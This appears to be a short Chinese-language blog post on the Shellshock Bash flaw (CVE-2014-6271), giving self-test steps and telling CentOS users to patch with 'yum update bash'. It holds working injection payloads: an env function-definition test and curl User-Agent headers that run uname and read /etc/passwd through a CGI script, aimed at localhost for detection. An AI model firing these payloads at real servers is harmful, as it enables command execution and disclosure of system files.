嚴重等級的漏洞 Linux BASH 套件，影響所有使用 shell CGI 等程式、設備

這次的漏洞叫 shellshock

嚴重等級的漏洞 Linux BASH 套件，影響所有使用 shell CGI 等程式、設備

檢測方式一

直接在 linux console 底下執行

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

出現 vulnerable 字串就是中標了

檢測方式二

vi /var/www/cgi-bin/test.cgi

#!/bin/sh
echo "Content-type: text/plain"
echo "test"

chmod +x /var/www/cgi-bin/test.cgi

curl http://localhost/cgi-bin/test.cgi

正常會看到 test

curl -A "() { :;}; echo Content-type:text/plain;echo; /bin/uname -a " http://localhost/cgi-bin/test.cgi

中標的會看到

Linux XXXXX 2.6.18-348.12.1.el5 #1 SMP Wed Jul 10 05:28:41 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux

你要這麼作也行

curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/test.cgi

影響範圍 : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

怎麼修補 http://lists.centos.org/pipermail/centos/2014-September/146099.html

CentOS 就 yum update bash 即可，不用重啟什麼

而 CentOS 4 (含) 以下的，也別花心思升級了，快淘汰吧